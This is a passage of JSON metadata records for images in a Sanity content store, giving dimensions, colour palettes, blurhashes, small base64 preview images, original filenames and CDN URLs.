:{"_type":"sanity.imagePaletteSwatch","background":"#dbf6e3","foreground":"#000","population":2.1,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b1c1b8","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dbf6e3","foreground":"#000","population":2.1,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#788c84","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#32cc60","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"compliance-badge-hipaa.jpg","path":"images/sczeoy4w/production/d0c880ed71498b1c52aa270f6f9bfe63d97820b9-690x413.jpg","sha1hash":"d0c880ed71498b1c52aa270f6f9bfe63d97820b9","size":7754,"uploadId":"aAwFzHoZJeskXSGbV4nPpRFiKNnDNlOy","url":"https://cdn.sanity.io/images/sczeoy4w/production/d0c880ed71498b1c52aa270f6f9bfe63d97820b9-690x413.jpg"} {"_createdAt":"2024-02-07T14:10:33Z","_id":"image-d0d43c643961db95c9ec0a155597453d36a0fef2-1406x800-png","_rev":"aqN8LslQ3cZYmtCXIrWRDB","_type":"sanity.imageAsset","_updatedAt":"2024-02-07T14:10:33Z","assetId":"d0d43c643961db95c9ec0a155597453d36a0fef2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M1R:HHbr00~X~E00Z:9GNH0000oc9EaJE1","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7575,"height":800,"width":1406},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAABu0lEQVQokY2SW2/TQBBG8/OReK9I2gJPvAJt4YcgURCiatMkbWku9nr2Nru2T+VNWqgUEJaOvJa/OTO79mh88J7x5JTJ8RmToxMmx6ccvj7j6M0njt9+/ivD+/HRCa8OP5aag/EHXrx8x+j8yw++f7vk58WMq+kt19d3zOb3zBdLFgM3+5kv7kt2Or3jevaLy6tbvp5fMVrer1ivN4i1pJToug76nv+7+pLvupa2bUkpMzKmQRqLbxzBBWKMRTwESrjv6Xd0XU/fPX9udyLVVOpGReCVsLGYTU0tNTY4NCu5zXSDuB2m+E070G7vXVm35LylCLMmonhqU1PZGqeemCNBA9E5vHX44IkplkYuRowLiPOEGLaNd/Ii1JQRH6nEYJzBq8drwEdHEIutG4xtcOpKIwmBdeOojKFxBs2xyIZjKEKviY0ElnXNxlY0ThBniRppUyZpQpOS2vR0ZsF7nDR4L6SszydMORNUEW+RaMtWVbUUP36AP+mSotLgTI2ztmSfJvTek9WjoaKRddly0EjOuQj3kWMkiuAGnCt/xmN+VFUVYpbUq0sWNxfM7masqhUigrX2Hwh2T+YBp7JByOUeeHUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c2c5c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0d196d","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9496c4","foreground":"#000","population":0.54,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9496c4","foreground":"#000","population":0.54,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e494dc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ab5476","foreground":"#fff","population":0.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f06434","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"image.png","path":"images/sczeoy4w/production/d0d43c643961db95c9ec0a155597453d36a0fef2-1406x800.png","sha1hash":"d0d43c643961db95c9ec0a155597453d36a0fef2","size":202350,"uploadId":"rMnsN3MNMX4Aawm2xhWRZmkDUe92ulv3","url":"https://cdn.sanity.io/images/sczeoy4w/production/d0d43c643961db95c9ec0a155597453d36a0fef2-1406x800.png"} {"_createdAt":"2022-06-30T20:00:52Z","_id":"image-d0f3dee039d4eb2d6ed2cee3acaeedd0efd60c23-3810x1445-png","_rev":"ecafYeJdFUSoqAVEkXNoj3","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T01:02:21Z","assetId":"d0f3dee039d4eb2d6ed2cee3acaeedd0efd60c23","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D03bRBs,IoNbNH}[WBV@s:kC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.6366782006920415,"height":1445,"width":3810},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA2klEQVQYlU2OC26EMAxEcwf8t+OQwgLb+x+wCqHbWk+WFc9MXLr54XFFfaj5EPmu7Z2D7zb6/fjIzojdo6xqu/nL/eVxU4/IM/Nq7b32a12vtl5j6Ge2I+rusVts5t28KJETOXNMRHutW8ueg/RwVRet5i1qiwgzYzVWZSkAOEFEQjSRba1bq66mIkS8AC6ASMyiaiZqSALIgFzmbpkRiCr8lZGuhPTJBSBAAmQkwRFH0/JnHiCJcJgaM+F9DhD+OicLPs4FoAzB2A3u20YpkRAR3s4Hnpp/n8EPSbgp28IJP9MAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#603a34","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#441404","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8a5246","foreground":"#fff","population":0.02,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#902a08","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f79f81","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8a5246","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0460e","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"d0f3dee039d4eb2d6ed2cee3acaeedd0efd60c23-3810x1445.png","path":"images/sczeoy4w/production/d0f3dee039d4eb2d6ed2cee3acaeedd0efd60c23-3810x1445.png","sha1hash":"d0f3dee039d4eb2d6ed2cee3acaeedd0efd60c23","size":277615,"uploadId":"8QtEFGUbmR4KzisggpHilWbfujpBpfOd","url":"https://cdn.sanity.io/images/sczeoy4w/production/d0f3dee039d4eb2d6ed2cee3acaeedd0efd60c23-3810x1445.png"} {"_createdAt":"2022-06-30T11:59:22Z","_id":"image-d0fc6a3dd2f8891c550eeea69ccb43343fca6421-793x248-png","_rev":"sI1gFaRN7B5HWmjllAAjIn","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:06:02Z","assetId":"d0fc6a3dd2f8891c550eeea69ccb43343fca6421","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D8S$lni}yCx]R6~qe:j[R*WB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.1975806451612905,"height":248,"width":793},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAAv0lEQVQYlU2PUW4FMQgD3/3vupECIYAJpMrmtarlP2TN8HEzGUNEVBURgKuqTTX99sbdMzN3ermn5c6994eZW2u99zknAFMVIu1kREK/6SQiESsqeBFFj0Lt+pjZxUZEZl403h6Hf+R1yWmW+iWrKjOLyFrnambjzZRhIiaiIlNETe/Y0vRvfLWJKCLWWoP5eZ7WGveunZxIiQa92itebe5HO442AHcHUFWZ6S/5/O++gAQWEMD5typ3ouDpl/wDBgdc3oqiCjoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#20671d","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#55cd4f","foreground":"#000","population":0.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cca6ae","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a1f4a2","foreground":"#000","population":0.06,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#54b452","foreground":"#fff","population":0.16,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#55cd4f","foreground":"#000","population":0.19,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"d0fc6a3dd2f8891c550eeea69ccb43343fca6421-793x248.png","path":"images/sczeoy4w/production/d0fc6a3dd2f8891c550eeea69ccb43343fca6421-793x248.png","sha1hash":"d0fc6a3dd2f8891c550eeea69ccb43343fca6421","size":29988,"uploadId":"RN7FTsCe0nqBNkTGbN4NDhqYOVX2D4e9","url":"https://cdn.sanity.io/images/sczeoy4w/production/d0fc6a3dd2f8891c550eeea69ccb43343fca6421-793x248.png"} {"_createdAt":"2022-06-30T20:10:35Z","_id":"image-d113e474f60db6606309004c6a33cad5e3fcf92b-2500x1042-jpg","_rev":"QRl2cGoCgj0FlAhkRriN8L","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:29:37Z","assetId":"d113e474f60db6606309004c6a33cad5e3fcf92b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8T9L$-;%Lxuof~qofj[oft6xuWBIVWBfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.399232245681382,"height":1042,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAIABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAIDCP/EABkQAAMBAQEAAAAAAAAAAAAAAAABEQISQf/EABQBAQAAAAAAAAAAAAAAAAAAAAD/xAAUEQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIRAxEAPwDU/XSuIyLem40p6ABYAAP/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d4b4d","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424142","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b8b7b8","foreground":"#000","population":0.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8b7b8","foreground":"#000","population":0.45,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bdbcbd","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#959596","foreground":"#fff","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#807e80","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"d113e474f60db6606309004c6a33cad5e3fcf92b-2500x1042.jpg","path":"images/sczeoy4w/production/d113e474f60db6606309004c6a33cad5e3fcf92b-2500x1042.jpg","sha1hash":"d113e474f60db6606309004c6a33cad5e3fcf92b","size":127431,"uploadId":"8So7lDZrc0oAkRFUIDurBfjX0GDt8W2g","url":"https://cdn.sanity.io/images/sczeoy4w/production/d113e474f60db6606309004c6a33cad5e3fcf92b-2500x1042.jpg"} {"_createdAt":"2022-06-14T14:41:02Z","_id":"image-d13157c61c619e7b453930c07fe94bdf28641559-205x205-jpg","_rev":"qkpX9b3U0TpOGFQp8XFzMc","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:02Z","assetId":"d13157c61c619e7b453930c07fe94bdf28641559","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"ebNdj$xu.T%1eS_Nt6RjWBRj57j?R4R*o#.8f6oet7RjM{j[M{WBog","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":205,"width":205},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAUGCP/EACMQAAEEAgICAgMAAAAAAAAAAAMAAQIEBREGEiFBEzFCcZH/xAAXAQEBAQEAAAAAAAAAAAAAAAABAwIE/8QAGxEAAwADAQEAAAAAAAAAAAAAAAECAxEhEjH/2gAMAwEAAhEDEQA/AOisiUWPoHtH8DFF5OsxQz1wp607tUMKVqXUUoT3KLv9bVrnZKwuLZCVskYQYbv5969LEcDuVMzWoz+QfSMu0fWnb0sZLpUkhx4oqKdfUbo1KLkd9IqT6d/CK+zk8nN2VzV/MBJLIWJl7fi7+P4pT2zgxlekAsxhESRIvB9S3+0RUaXCct9K1Pm+epBYIrsngz7bu23RETpBtn//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#293f48","foreground":"#fff","population":9.69,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#070d11","foreground":"#fff","population":0.79,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#293f48","foreground":"#fff","population":9.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b1cacd","foreground":"#000","population":3.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dfb99f","foreground":"#000","population":4.35,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#64949c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c99c85","foreground":"#000","population":2.15,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"mika.jpg","path":"images/sczeoy4w/production/d13157c61c619e7b453930c07fe94bdf28641559-205x205.jpg","sha1hash":"d13157c61c619e7b453930c07fe94bdf28641559","size":12828,"uploadId":"cInIu2KWw5bhYxuOim7RrrsXBLD4TFK7","url":"https://cdn.sanity.io/images/sczeoy4w/production/d13157c61c619e7b453930c07fe94bdf28641559-205x205.jpg"} {"_createdAt":"2022-09-01T15:44:49Z","_id":"image-d1381bcc05ffdd5b9dd630013a83f71851a0c39e-2708x1771-webp","_rev":"4pG2it9AJU1nJxbjoHSmcE","_type":"sanity.imageAsset","_updatedAt":"2022-09-16T10:49:02Z","altText":"Remote replication - AWS to GCP","assetId":"d1381bcc05ffdd5b9dd630013a83f71851a0c39e","description":null,"extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"VXH.Qcae00ozD%~qxuM{M{IU00xu?bM{t7IARjRjt7%M","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5290796160361377,"height":1771,"width":2708},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAPoAAAD6AG1e1JrAAADEklEQVQ4jW2TTWgdVRSAj/GltJhaUXRTwR9aEDSQvJmFghECaVcV0p0gxY1IRRAX7hTaja3WlS6yKFpUcGFAEAQXQkEQI0qsMVSTqm1D8l7ez8zcn5l7zzn33nkZmXk2Gx34OPfexXd+7h0gayEwgVZ6Ak1xD1nzACE+SMQN+C9EfISQJqvKQlXtQVVVDWU5gjIEuHr1u2YPiSygryykQt3XHYhTO/3sXCb1u865C6OyvDgalRdHZXmhDOEsMz8hsuxeJcTDWqljxtjHifghojrROAF0hYW/U4JU6kdv9cT7f3XS20OhM4s0tOQS5DHs/LdEdDoVam6QynNJpj42Fpe89y8754/uC3MegR5VoAt7rC+Ky70stzK3VSJNtTPUVSdRVTfRlcztL0x0JhH5S1t98fPOULJBSsuy/MT78BQAjIV3zMjuKFp82wq1aZIs6Q/FjZu72dqt3Wztdk/8mqriM8d8cijzUzd3xRfbA7lmkX+sx+G8P/4foauqg0aIp9WNP98R69evDLe23+yl8tV+It4apPK80sVrTDxvLM1nqnhF6OINJH7Rex8T8eH9llOhYPvLr2A7eha21q8f6qz89GT3+x+eGfyxcVxr/bxW+gOt88+txU+d8x+FEC6HEK6EEC55708YY6fGt12ClAqAiCAdJiCFgA/fuwS9Tqf1+2/rLSnV/dbi68baDWNtjkiKmbVzTnnv8xDK9RDKs865I7Wsfj5NhfPz83X7sLKyAj6UzaG1FqzFw0R0BpG+QcRriLiKSKtEtMrsrnnvvw4hvMDMU3t7e02FNTA7OwszMzPw3NxcI1P9QROLvGgh4mOIdBKRTiPi4hhaJOJFZrfA7B5BxJb3AZxzTWGNsN1uQxRFDcvLy9DpdCFNMzDGTtSPlpkPOOca6jURHbDWTmqdT3S7u6CUAq31WNhut++OomgyjuNWHMd3TU9PN+d1lfV8699qNBpB3VYdQwjAzHUykErBxuYmCCFBSrkvPBhF0VQcx4fiOK7lsLBwApaWlqAozJ15/g8WjDEgpGxiTf39A7B430rHH5aYAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c4c86","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9ca4c4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6e8c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5e7a94","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c7cc4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/webp","opt":{"media":{"tags":null}},"originalFilename":"remote-replication-aws-to-gcp.pn.webp","path":"images/sczeoy4w/production/d1381bcc05ffdd5b9dd630013a83f71851a0c39e-2708x1771.webp","sha1hash":"d1381bcc05ffdd5b9dd630013a83f71851a0c39e","size":46496,"title":null,"uploadId":"yjUoPIKAPwL78lW1ZLthzIiRsE4hugaX","url":"https://cdn.sanity.io/images/sczeoy4w/production/d1381bcc05ffdd5b9dd630013a83f71851a0c39e-2708x1771.webp"} {"_createdAt":"2022-06-30T11:56:59Z","_id":"image-d1acf35a37e0ec1c8e88acffa6b8e6afa3cad6cc-960x540-jpg","_rev":"QRl2cGoCgj0FlAhkRrhdns","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:35Z","assetId":"d1acf35a37e0ec1c8e88acffa6b8e6afa3cad6cc","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MaRW9#t7%MogRj~Vayt7ofWB4:j[RjWBof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":540,"width":960},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAgCBQf/xAAkEAABAwMEAQUAAAAAAAAAAAABAAIDBAURBhIl0RMjMWFxgf/EABYBAQEBAAAAAAAAAAAAAAAAAAEEBf/EABsRAAICAwEAAAAAAAAAAAAAAAACAVERFBUx/9oADAMBAAIRAxEAPwBo6zcaaQRhxcRgbTgqvtjalk/rNl24xlzshYVS6wv+5wN0nI/OlCo1ff8AB5ScfWOlXqNZndNMeSMchLrFq6/eJvJz+3x0hGo1h0kqT//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#342527","foreground":"#fff","population":1.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#247b99","foreground":"#fff","population":1.98,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#247b99","foreground":"#fff","population":1.98,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c3cdd0","foreground":"#000","population":0.57,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9cd4dc","foreground":"#000","population":0.31,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#689dac","foreground":"#fff","population":0.87,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c83143","foreground":"#fff","population":0.26,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"d1acf35a37e0ec1c8e88acffa6b8e6afa3cad6cc-960x540.jpg","path":"images/sczeoy4w/production/d1acf35a37e0ec1c8e88acffa6b8e6afa3cad6cc-960x540.jpg","sha1hash":"d1acf35a37e0ec1c8e88acffa6b8e6afa3cad6cc","size":30037,"uploadId":"iX09PTKzUYXV1lgtQtKqC40RBnMatF0r","url":"https://cdn.sanity.io/images/sczeoy4w/production/d1acf35a37e0ec1c8e88acffa6b8e6afa3cad6cc-960x540.jpg"} {"_createdAt":"2024-05-08T12:49:30Z","_id":"image-d1feb17045a2d039ac31156394c3e19ae50db8a3-2548x1428-png","_rev":"6IjwK8t2YScx5mkOZiYnme","_type":"sanity.imageAsset","_updatedAt":"2024-05-08T12:49:30Z","assetId":"d1feb17045a2d039ac31156394c3e19ae50db8a3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M3SijYMx9G~WDj-tIAICVsw~ITM{4oMxr[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7843137254901962,"height":1428,"width":2548},"exif":{"PixelXDimension":2548,"PixelYDimension":1428,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAABZUlEQVQokYWS3XITMQyF9/1fjntuGAZK2jShG+vHsmzldCynZSBQLr4ZryUdH0m7PX/6hh+fv+Ph4RHH8xlFGGIGNYd7R0Tger3+kzECWjsKOS7FsZ2+POHw9YDD4xHP5zN2IhRWXIqAWKFqqLV9iGoDi4PZsb2cdxyfTjidfuJlLygkyb4TShEw13vk11lkYhBZotu82PeSlMIZrNrenZn5f1Fd7lLQrIGIUQpBRFdS81s7lufmPZkz7X3ciBsDrQ1U6zDr2FqbbmoW994xxgwaiGfrnHOcLcrMsZUT8ftiIq4YEbmgFJxModxaTMGaYpdCCyIQM9Qq+uiI6/3mI6bbjq3W2WZF744xehZYM4gKRBVaF/OR5g19rLw/cW+Zs7FQFi+XK9h8zrHdRrAeyVhMxj1Z0yDKS5CFMZcTMZb1sQa/furIFj8kAu6+BEkKiCntvjnxvraa39PVu7u/8ebQwEp4BSIvWrtmfCyyAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c494c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8f286c","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#df5ba4","foreground":"#fff","population":0.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c89cbc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ea98cf","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a464a4","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#df5ba4","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"credentials.png","path":"images/sczeoy4w/production/d1feb17045a2d039ac31156394c3e19ae50db8a3-2548x1428.png","sha1hash":"d1feb17045a2d039ac31156394c3e19ae50db8a3","size":257320,"uploadId":"0Q2gmugLtJjeX5giRz9kDEZeuHNmL5Bq","url":"https://cdn.sanity.io/images/sczeoy4w/production/d1feb17045a2d039ac31156394c3e19ae50db8a3-2548x1428.png"} {"_createdAt":"2022-07-13T10:59:12Z","_id":"image-d2349e026e945d79e2b6d5d69f2354a6bbe3e3a0-900x1200-jpg","_rev":"ecafYeJdFUSoqAVEkXr1xz","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T10:59:12Z","assetId":"d2349e026e945d79e2b6d5d69f2354a6bbe3e3a0","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"dID]F_%29a%15QIUR+E1~Vt7WBxa4:s:-okCNaNGM{of","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.75,"height":1200,"width":900},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAbABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYEBQcI/8QAKxAAAQMDAgQEBwAAAAAAAAAAAQIDBAAFEQYSBxQVYTEyQVETISNCcYGR/8QAFwEAAwEAAAAAAAAAAAAAAAAAAgMEAf/EABoRAQEBAQADAAAAAAAAAAAAAAECABESITH/2gAMAwEAAhEDEQA/AErRTvUbelQBLrWEtKV5R+qYZImRJ4YkuJebUnO9KcYPtWZ2DUDVo5ZbiSQ0M7UnxPvTlqHWtpMFiZEkcxJX5o4TgoPr86UldOYoJZe/dNeP1DRSYrXcFRytl1KvUYorfFyuZw1jwckMtRjp5CnFY2uBxY/tLzHCW9Elh8MtuEbkub8pHb81YXbVV8TeWY6bk+GS6kbcjwrcEqPSHFfcGs574oW6A1pEUu46v1pftV0fhytvxWjg7TkUVa3tIk3ia4/lay6rJJ70U49mleDv/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#56473d","foreground":"#fff","population":4.41,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c343c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c5a79b","foreground":"#000","population":13.9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c5a79b","foreground":"#000","population":13.9,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecbebe","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c8177","foreground":"#fff","population":13.45,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#826030","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Anton_Heikinheimo.jpeg","path":"images/sczeoy4w/production/d2349e026e945d79e2b6d5d69f2354a6bbe3e3a0-900x1200.jpg","sha1hash":"d2349e026e945d79e2b6d5d69f2354a6bbe3e3a0","size":144838,"uploadId":"i0aB0njWWZYojY8O0rPTDy5SSmFiWBBW","url":"https://cdn.sanity.io/images/sczeoy4w/production/d2349e026e945d79e2b6d5d69f2354a6bbe3e3a0-900x1200.jpg"} 